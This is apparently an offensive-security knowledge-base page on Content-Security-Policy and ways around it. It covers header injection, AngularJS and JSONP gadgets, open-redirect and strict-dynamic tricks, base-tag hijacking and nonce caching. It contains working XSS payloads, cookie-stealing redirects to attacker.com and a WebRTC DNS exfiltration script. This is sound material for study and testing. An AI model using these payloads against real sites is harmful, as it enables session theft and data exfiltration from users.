# Content-Security-Policy (CSP)

## Description

A more modern protection against XSS and some other attacks is the [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP). This is a Header (`Content-Security-Policy:`) or `<meta>` value in a response that tells the browser what should be allowed, and what shouldn't. An important directive that can be set using this header is [`script-src`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src), defining where JavaScript code may come from:

{% code title="HTTP" %}

```http
Content-Security-Policy: script-src 'self' https://example.com/
```

{% endcode %}

{% code title="HTML" overflow="wrap" %}

```html
<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self' https://example.com/">
```

{% endcode %}

You can always find the currently applied CSP by opening the DevTools in Chromium, then navigating to *Application* and scroll down to *top* in order to find all affecting headers or meta tags and their rules:

<figure><img src="https://3698848315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F677wrA8ZfiPs1U4l5uR6%2Fuploads%2Fqtq5sLEoDi8kTm1j880r%2Fimage.png?alt=media&#x26;token=1a3416b5-f2bd-4d15-b4f8-6a272c5fbcc9" alt="" width="563"><figcaption><p>Find Content Security Policy using DevTools to be sure</p></figcaption></figure>

With the above policy set, any `<script src=...>` that is *not* from the current domain or "example.com" will be blocked. When you explicitly set a policy like this it also disables inline scripts like `<script>alert()</script>` or event handlers like `<style onload=alert()>` from executing, even ones from the server itself as there is no way to differentiate between intended and malicious. This possibly breaking change where all scripts need to come from trusted URLs is sometimes "fixed" by adding a special [`'unsafe-inline'`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#unsafe_inline_script) string that allows inline script tags and event handlers to execute, which as the name suggests, is **very unsafe**.&#x20;

A different less-common way to allow inline scripts without allowing *all* inline scripts is with **nonce**s, random values generated by the server. This nonce is put inside of the `script-src` directive like `'nonce-2726c7f26c'`, requiring every inline script to have a `nonce=` attribute equaling the specified random value. In theory, an attacker should not be able to predict this random value as it should be different for every request. This works in a similar way to CSRF tokens and relies on secure randomness by the server. If implemented well, this is a very effective way of preventing XSS.&#x20;

The last important string in this directive is `'unsafe-eval'` which is disabled by default, blocking several functions that can execute code from a string:

* `eval()`
* `Function()`
* Passing a string to `setTimeout()`, `setInterval()` or `window.setImmediate()` \
  (for example: `setTimeout("alert()", 500)`)

Note however that this does not prevent all methods of executing code from a string. If `'unsafe-inline'` allows it, you can still write to the DOM with event handlers if required:

```javascript
document.body.setAttribute('onclick', 'alert(origin)')
document.body.click()
```

It also doesn't deny the `location =` sink, removing `'unsafe-inline'` is needed to prevent this:

```javascript
location = "javascript:alert(origin)"
```

To easily evaluate and find problems with a CSP header, you can use Google's CSP Evaluator which tells you for every directive what potential problems it finds:

{% embed url="<https://csp-evaluator.withgoogle.com/>" %}
Google's Content-Security-Policy evaluator showing potential issues
{% endembed %}

## Bypasses

### Unset header

If you have control over some part of the CSP header or another header that is set before it, inserting *special characters* may ignore the header.

[php](https://book.jorianwoltjer.com/languages/php "mention") specifically will produce a **warning** if the CSP header contains a `\n` (newline):

> Header may not contain more than a single header, new line detected

PHP has another trick to do with buffering. Without any input into the header, **sending body content&#x20;*****before*** the [`header()`](https://www.php.net/manual/en/function.header.php) is set may trigger the "**headers already sent**" warning and ignores all following headers. Because in HTTP, headers must come before content.

In the Docker `php:apache` container, this is exploitable by default. By adding 1000 query parameters (`?x&x&x...`) to the URL, PHP will produce a warning even before the first line of source code is executed:

{% code title="Response (?x\&x\&x...)" overflow="wrap" %}

```html
<b>Warning</b>: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini.
<br />
<b>Warning</b>: Cannot modify header information - headers arleady sent
```

{% endcode %}

Other configurations may also be, so it's worth a check if you encounter a PHP application (also goes for other security-relevant headers).

<https://x.com/pilvar222/status/1784619224670797947>

### Inject directives

In rare cases the application dynamically generates the Content-Security-Policy header with your input. The first check is if you can inject newlines for [crlf-header-injection](https://book.jorianwoltjer.com/web/client-side/crlf-header-injection "mention"), but otherwise, you'll have to inject into the header itself.

While *inside a directive*, you can add more things to only that specific directive, for example:

```http
Content-Security-Policy: script-src https://trusted.com/INPUT/script.js
```

{% code title="Exploit" %}

```http
Content-Security-Policy: script-src https://trusted.com/ 'unsafe-inline' /script.js
```

{% endcode %}

If your input is *after* a directive you want to bypass, you cannot overwrite it, only add stricter and stricter requirements. However, `style-src` and `script-src` have some uncommon variants named [`style-src-elem`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/style-src-elem) and [`script-src-elem`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/script-src-elem) which **give more permissions** to literal `<style>` or `<script>` tags instead of `style=` or `onerror=` attributes (these also have their variant, [`style-src-attr`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/style-src-attr) and [`script-src-attr`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/style-src-attr)). \
These are separate directives and thus give more permissions, setting these to `'unsafe-inline'` allows malicious payloads to execute again:

<pre class="language-http"><code class="lang-http"><strong>Content-Security-Policy: script-src 'none'; script-src-elem 'unsafe-inline'
</strong>Content-Type: text/html

&#x3C;script>alert(origin)&#x3C;/script>
</code></pre>

### Hosting JavaScript on `'self'`

The URLs and `'self'` trust all scripts coming from that domain, meaning in a secure environment no user data should be stored under those domains, like uploaded JavaScript files. If this is allowed, an attacker can simply upload and host their payload on an allowed website and it is suddenly trusted by the CSP.&#x20;

{% code title="/uploads/payload.js" %}

```javascript
alert()
```

{% endcode %}

{% code title="Payload" %}

```html
<script src=/uploads/payload.js></script>
```

{% endcode %}

For more complex scenarios where you cannot directly upload `.js` files, the `Content-Type:` header comes into play. The browser decides based on this header if the requested file is likely to be a real script, and if the type is `image/png` for example, it will simply refuse to execute it:

<figure><img src="https://3698848315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F677wrA8ZfiPs1U4l5uR6%2Fuploads%2FOSaYMeYNqe1IfXKLzIHf%2Fimage.png?alt=media&#x26;token=17074ed8-7e2b-4479-a7b8-a709631c3acf" alt="Refused to execute script from &#x27;http://localhost/uploads/image.png&#x27; because its MIME type (&#x27;image/png&#x27;) is not executable."><figcaption><p>Browser refusing to execute <code>image/png</code> file as JavaScript source</p></figcaption></figure>

Some more ambiguous types are allowed, however, like `text/plain`, `text/html` or **no type at all**. These are especially useful as commonly a framework will decide what `Content-Type` to add based on the file extension, which may be empty in some cases causing it to choose a type allowed for JavaScript execution. This ambiguity is prevented however with an extra \
`X-Content-Type-Options: nosniff` header that is sometimes set, making the detection from the browser a lot more strict and only allowing real `application/javascript` files ([full list](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc#50)).&#x20;

An application may sanitize uploaded files by checking for a few signatures if it looks like a valid PNG, JPEG, GIF, etc. file which can limit exploitability as it still needs to be valid JavaScript code without `SyntaxError`s. In these cases, you can try to make a **"polyglot"** that passes the validation checks of the server, while remaining valid JavaScript by using the file format in a smart way and language features like comments to remove unwanted code.&#x20;

Another idea instead of *storing* data, is **reflecting** data. If there is any page that generates a response you can turn into valid JavaScript code, you may be able to abuse it for your payload. [JSONP](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) or other callback endpoints are also useful here as they always have the correct `Content-Type`, and may allow you to insert arbitrary code in place of the `?callback=` parameter, serving as your reflection of valid JavaScript code.

### CDNs in `script-src`

Every domain in `script-src` is trusted with all URLs it hosts. Often an allowed domain hosts much more than just the few scripts imported by the application. We can abuse that by finding known vulnerable libraries or use specific behavior of the allowed domain to return arbitrary scripts.\
CDNs (Content Delivery Networks) are often used, and some tricks involving them will be shown below. Note however that the ideas apply to any other domain as well, as even if it's not well-known, you can find your own gadgets.

#### Proxy domains

CDNs have to host many different JavaScript files for libraries. Sometimes this is implemented by simply proxying every request to something like GitHub, where any user can create a repository and upload files. If an attacker would do this, and then reference their repository through the CDN, they could return arbitrary scripts.

Examples include [unpkg.com](https://www.unpkg.com/) and [cdn.jsdelivr.com](https://cdn.jsdelivr.net) which host **every file on NPM**, you'll just have to publish your payload there. [`csp-bypass`](https://www.npmjs.com/package/csp-bypass) is one such existing payload that executes a dynamic payload in any `csp=` attribute on any tag you inject next to it:

```html
Content-Security-Policy: script-src https://unpkg.com

<script src="https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js"></script>
<br csp="alert(origin)">
```

#### Known libraries

The [cdnjs.cloudflare.com](https://cdnjs.cloudflare.com) or [ajax.googleapis.com](https://ajax.googleapis.com/) domains host **only specific** popular libraries, which should be secure. Some older libraries still have exploitable features, however. The most well-known is **AngularJS**. This library searches for specific patterns in the DOM that can define event handlers without the regular inline syntax. This bypasses the CSP and can allow arbitrary JavaScript execution by loading such a library, and setting up your own malicious HTML content:

{% code title="AngularJS CSP Bypass" overflow="wrap" %}

```html
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script>
<div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin)">
```

{% endcode %}

#### JSONP

Lastly, the allowed domain may dynamically generate scripts. This sounds strange but it is surprisingly common in a pattern called [JSONP](https://en.wikipedia.org/wiki/JSONP). To return data, scripts would call a callback function that handles it. This callback function is controlled via a query parameter, which we can set to any function we want to call.\
If the function name isn't property sanitized, you can even insert whole XSS payloads in there like in the examples below:

```html
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(origin)"></script>
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(origin)"></script>
```

***

You can find lots of known gadgets on cspbypass.com:

{% embed url="<https://cspbypass.com/>" %}
Public list of Angular/JSONP gadgets for CSP Bypasses
{% endembed %}

See [#angularjs](#angularjs "mention") for more complex AngularJS injections that bypass sanitizers. Also, note that other frameworks such as [#vuejs](#vuejs "mention") or [#htmx](#htmx "mention") may allow similar bypasses if they are accessible when `unsafe-eval` is set in the CSP.

More **script gadgets** for different frameworks are shown in the presentation below. This includes:\
Knockout, Ajaxify, Bootstrap, Google Closure, RequireJS, Ember, jQuery, jQuery Mobile, Dojo Toolkit, underscore, Aurelia, Polymer 1.x, AngularJS 1.x and Ractive.

["Don't Trust the DOM: Bypassing XSS Mitigations via Script Gadgets"](https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf)

{% embed url="<https://github.com/google/security-research-pocs/blob/master/script-gadgets/bypasses.md>" %}
Table of bypasses and PoCs
{% endembed %}

Lastly, the following site collects more situational gadgets that abuse already loaded gargets on your target that you can trigger without even loading a new script.

{% embed url="<https://gmsgadget.com/>" %}
List of generic gadgets in common libraries, mostly focused on HTML
{% endembed %}

### `.innerHTML` not executing `<script>`

One common problem is when you try to put a CSP bypass into a `.innerHTML` sink. The fact is the [`innerHTML` setter does not execute `<script>` tags](https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML#security_considerations), by definition.

<pre class="language-html"><code class="lang-html">&#x3C;body>&#x3C;/body>
&#x3C;script>
  // Doesn't work
<strong>  document.body.innerHTML = "&#x3C;script>alert(origin)&#x3C;\/script>";
</strong>&#x3C;/script>
</code></pre>

The solution for regular XSS is easy, just use anything other than a script tag such as an `onerror=` *event handler*:

```javascript
  // Works (but doesn't bypass CSP)
  document.body.innerHTML = "<img src onerror=alert(origin)>";
```

But what if we **need** a `<script src>` tag to load the vulnerable CSP gadget?\
`<iframe srcdoc>` comes to the rescue! **Wrapping your payload** **in `srcdoc=`** creates a new document, loading scripts again, which allows you to include any script gadgets ([source](https://blog.huli.tw/2022/08/21/en/corctf-2022-modern-blog-writeup/#self-script)). Note that you'll also need to put the rest of the HTML into this new document, otherwise AngularJS won't find it.

{% code title="Working payload" overflow="wrap" %}

```html
<iframe srcdoc='
  <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
  <div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin)">
'></iframe>
```

{% endcode %}

Afterward, if you want to grab anything from the top-level HTML just reference `parent.` or `top.`.

{% hint style="warning" %}
**Note**: `<script>` tags must always be closed using `</script>`, otherwise they don't execute either.
{% endhint %}

### Redirect to unrestricted path

URLs in a CSP may have a path, not only a domain. The following example provides a full URL to `base64.min.js`, and you would expect only that script could be loaded from the `cdn.js.cloudflare.com` origin.

{% code overflow="wrap" %}

```http
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/Base64/1.3.0/base64.min.js
```

{% endcode %}

This is not entirely true, however. If another origin, like `'self'` contains an **Open Redirect** vulnerability, you may redirect a script URL to any path on `cdnjs.cloudflare.com`!

{% embed url="<https://joaxcar.com/blog/2024/05/16/sandbox-iframe-xss-challenge-solution/>" %}
Challenge writeup involving CSP open redirect bypass
{% endembed %}

The following script would be allowed by the [CSP spec](https://www.w3.org/TR/CSP3/#source-list-paths-and-redirects), note that the `angular.js` path is not normally allowed, but it is through the redirect because its origin is allowed. This can be abused with some HTML that executes arbitrary JavaScript, even if `'unsafe-eval'` is not set:

<pre class="language-html" data-overflow="wrap"><code class="lang-html"><strong>&#x3C;script src="/redirect?url=https%3A%2F%2Fcdnjs.cloudflare.com%2Fajax%2Flibs%2Fangular.js%2F1.8.3%2Fangular.min.js">&#x3C;/script>
</strong>&#x3C;div ng-app>&#x3C;img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin)">
</code></pre>

### `strict-dynamic`

The [`strict-dynamic`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/script-src#strict-dynamic) directive allows trusted scripts to insert untrusted scripts via [`document.createElement("script")`](https://developer.mozilla.org/en-US/docs/Web/API/Document/createElement).

An example where this is dangerous is the **jQuery** library whose [`.html()`](https://api.jquery.com/html/) method scans for `<script>` tags and evaluates their content. Not using the `eval()` function, but by inserting the content as a new script tag in `document.head`. The [`domManip()`](https://github.com/jquery/jquery/blob/ec738b3190a3b67d08f51451e1faa15f1f4bf916/src/manipulation/domManip.js#L98) function is responsible for this.\
It means that any injection in jQuery can be exploited by simply providing an inline script instead of event handler:

```http
Content-Security-Policy: script-src 'nonce-NONCE' 'strict-dynamic'

<script src="https://code.jquery.com/jquery-3.7.1.js" nonce="NONCE"></script>
<body></body>
<script nonce="NONCE">
	$("body").html("<script>alert(origin)<\/script>")
</script>
```

Many more libraries have different ways they include remote/inline scripts allowing you to bypass `strict-dynamic`. Check <https://gmsgadget.com/#csp:strict-dynamic> for known gadgets.

### SOME attack

Not all callback parameters are equal. Most nowadays restrict the possible characters, so you should fuzz exactly what character are and aren't allowed.

In case only `[a-zA-Z.]` is allowed, arbitrary JavaScript is not possible. However, you can still access certain elements through properties and then call methods like [`.click()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/click) to submit forms. Even on other pages through `opener`. This is called the SOME attack, with a generator below:

{% embed url="<https://someattack.com/Playground/About>" %}

***

If *jQuery* exists on the page and `$` & `_` are allowed (like in Express [`res.jsonp()`](https://expressjs.com/en/api.html#res.jsonp)), you can call [`$._evalUrl()`](https://github.com/jquery/jquery/blob/main/src/manipulation/_evalUrl.js) which evaluates the current page's content as JavaScript if there is no argument. It does so by **fetching the current** `location.href` and then putting its content in a `<script>` tag.\
It can be useful when:

1. You have a URL that returns valid JavaScript content, but with the wrong content type/nosniff
2. The URL can be turned into a jQuery-enabled page, for example, by sending a POST request to receive an error page (without changing the URL)
3. That page should have a more lax CSP that allows inline scripts or `strict-dynamic`

Using the SOME page, you'll be able to call `opener.$._evalUrl` to make it fetch itself with a GET request, which returns some malicious content, and then gets executed.

Note that this is a very specific technique where a lot of preconditions are required, but the same ideas may be able to be applied elsewhere.

***

With `[` & `]` characters allowed, and nesting of them (like in Express [`res.jsonp()`](https://expressjs.com/en/api.html#res.jsonp)), another really powerful primitive becomes available: variable member access. With this you can program a tiny bit of logic in JavaScript to not only call a function, but call different functions depending on certain conditions.

One unintended solution by [@realansgar](https://bsky.app/profile/realansgar.dev) to the *idekCTF 2025 - jnotes* challenge was using a limited HTML injection to create a list of anchor tags with unique IDs:

```html
<a id="a" href="https://attacker.com/a" target="top">
<a id="b" href="https://attacker.com/b" target="top">
<a id="c" href="https://attacker.com/c" target="top">
...
```

Then, we can find some text we want to leak, and access it through common SOME techniques and `innerText` (note `children[42]` allows you to take some shortcuts). You can extract the first character of the text on the page you want to leak using `.innerText[0]`.\
Now the trick is, we can access `window[...]` with the character returned from this, and if it matches any `id=` of the `<a>` tags we created, we will have a reference to that specific link. Finally, executing the `.click()` method on that will visit the link, leaking the first character.

For example, let's say `body.children[0].textContent[0]` contains some sensitive information. We would inject all the anchor tags as above for all possible characters in this text, then add the following script tag to the exploit:

{% code overflow="wrap" %}

```python
<script src="/jsonp?callback=window[top.opener.document.body.children[0].textContent[0]].click">
```

{% endcode %}

This code will be evaluated as follows:

1. `window[top.opener.document.body.children[0].textContent[0]].click()`
2. `window['SECRET'[0]].click()`
3. `window['S'].click()`
4. `<a id="S" href="https://attacker.com/S">` is clicked
5. Browser navigates to <https://attacker.com/S>, first character is leaked to the attacker

Then simply continue for `.innerText[1]`, `.innerText[2]`, etc. until the whole string is leaked.

### Exfiltrating with strict [`connect-src`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/connect-src)

This directive defines which hosts can be **connected to**, meaning if your attacker's server is not on the list, you cannot make a `fetch()` request like normal to your server in order to exfiltrate any data. While there is no direct bypass for this, you may be able to still connect to any origin **allowed** to exfiltrate data by *storing* it, and *later retrieving* it as the attacker at a place you can find. By [#forcing-requests-fetch](#forcing-requests-fetch "mention"), you could, for example, make a POST request that changes a profile picture, or some other public data, while embedding the data you want to exfiltrate. This way the policy is not broken, but the attacker can still find the data on the website itself.&#x20;

With this technique, remember that even *one bit* of information is enough, as you can often *repeat* it to reveal a larger amount of information.&#x20;

A more general bypass for this is to *redirect* the user fully using JavaScript, as browsers do not prevent this. Then in the URL, you put the data you want to exfiltrate to receive it in a request:

<pre class="language-javascript" data-overflow="wrap"><code class="lang-javascript">// Redirect via document.location:
<strong>location = `http://attacker.com/leak?${btoa(document.cookie)}`
</strong>// Redirect via &#x3C;meta> tag (only at start of page load):
<strong>document.write(`&#x3C;meta http-equiv="refresh" content="0; url=http://attacker.com/leak?${btoa(document.cookie)}">`)
</strong></code></pre>

Another useful method is WebRTC which **bypasses** `connect-src`. The DNS lookup is not blocked and allows for dynamically inserting data into the subdomain field. These names are case-insensitive so an encoding scheme like Base32 can be used to exfiltrate arbitrary data (max \~100 characters per request). Using [`interactsh`](https://github.com/projectdiscovery/interactsh) it is easy to set up a domain to exfiltrate from:

```shell-session
$ interactsh-client

[INF] Listing 1 payload for OOB Testing
[INF] ckjbcs2q8gudlqgitungucqgux7bfhahq.oast.online
```

Then we use the WebRTC trick to exfiltrate any data over DNS:

```javascript
function base32(s) {
  let b = "";
  for (let i = 0; i < s.length; i++) {
    b += s.charCodeAt(i).toString(2).padStart(8, "0");
  }
  let a = "abcdefghijklmnopqrstuvwxyz234567";
  let r = "";
  for (let i = 0; i < b.length; i += 5) {
    let p = b.substr(i, 5).padEnd(5, "0");
    let j = parseInt(p, 2);
    r += a.charAt(j);
  }
  return r.match(/.{1,63}/g).join(".");
}

async function leak(data) {
  let c = { iceServers: [{ urls: `stun:${base32(data)}.ckjbcs2q8gudlqgitungucqgux7bfhahq.oast.online` }] };
  let p = new RTCPeerConnection(c);
  p.createDataChannel("");
  await p.setLocalDescription();
}

leak("Hello, world! ".repeat(8));
```

Finally, we receive DNS requests on the `interactsh-client` that we can [decode](https://gchq.github.io/CyberChef/#recipe=To_Upper_case\('All'\)From_Base32\('A-Z2-7%3D',true\)\&input=akJzd1kzZFBmcXFITzMzU25yc2NjSWNpTVZ3R3kzek1FYjN3NjRUTU1RcVNBU2RmTnJXZzZsYmFvNXhYZTNkLmVlRXFlUVpMbW5yWHNZaUR4TjV6Z3laQkJFYkVHSzNkTU40d2NBNTNwb2p3R0lJakFKQlNXeTNEcEZxcUhPMy4zc25Sc2NDSWNpTVZXZ1kzek1lYjN3NjR0bU1RcVNBU0RGTnJ3ZzZsYkFvNVhYZTNkZWVFUWE):

{% code title="interactsh-client" overflow="wrap" %}

```log
...
[jbswY3dpfqqHo33snrSccICiMvwGY3zMeB3w64TMMqqsaSdfNRwg6LBao5xxe3d.eEeqEqzLMnrxSyIdXn5ZGyZbBEBEGK3dmN4WcA53pojWGIijAjbsWy3dPfQqHO3.3SNrScCIciMVwgY3zMEB3W64tmmqqSASDfnrWG6LbaO5xXe3DeEeQa.CkJbCs2q8GudlQGiTungUCqgux7BFhahq] Received DNS interaction (A) from 74.125.114.204
```

{% endcode %}

### Nonce without `base-src`

If a CSP filters scripts based on a **nonce**, and does not specify a `base-src` directive, you may be able to hijack relative URLs after your injection point.

{% code overflow="wrap" %}

```http
Content-Security-Policy: script-src 'nonce-abc'
```

{% endcode %}

Let's say the target page with an HTML-injection looks as follows:

<pre class="language-html"><code class="lang-html">&#x3C;body>
  INJECT_HERE
<strong>  &#x3C;script nonce="abc" src="/script.js">
</strong>&#x3C;/body>
</code></pre>

The relative `<script>` tag can be redirect to another domain using the `<base>` tag as follows:

<pre class="language-html"><code class="lang-html">&#x3C;body>
<strong>  &#x3C;base href="https://attacker.com">
</strong>  &#x3C;script nonce="abc" src="/script.js">
&#x3C;/body>
</code></pre>

Now, the script with a valid nonce is loaded from `https://attacker.com/script.js` instead of the target website!

### Nonce with Caching

When facing a cryptographically random `nonce` for every request, there's still a chance for the **cache** to remember your nonce and to share it with an attacker. While this theoretically leaks the nonce, changing your payload to include it may be tricky, because if it's stored on the cached page with the nonce directly you cannot change it without also altering the nonce.

Therefore, your injection point must be a dynamically fetched payload on some static page. Then the attacker retrieves the nonce by cache decepting the victim, and updates their payload to include it. The moment onyone now visits the link and it's still cached, the fetched payload will correctly matched the nonce and execute.

{% embed url="<https://serverfault.com/questions/1059740/how-to-create-a-csp-nonce-and-yet-continue-website-caching/1064775#1064775>" %}
Explanation of what happens when a CSP nonce is cached
{% endembed %}

As opposed to a server's cache, the browser also has a **Disk Cache**. I looked into how this could be exploitable and it was very similar, only requiring you to be able to leak the nonce from the client-side because the cache is never shared directly with the attacker. You can often use [css-injection](https://book.jorianwoltjer.com/web/client-side/css-injection "mention") for this.

{% embed url="<https://jorianwoltjer.com/blog/p/research/nonce-csp-bypass-using-disk-cache>" %}
Writeup of a technique to bypass Nonce CSPs with the browser's Disk Cache
{% endembed %}
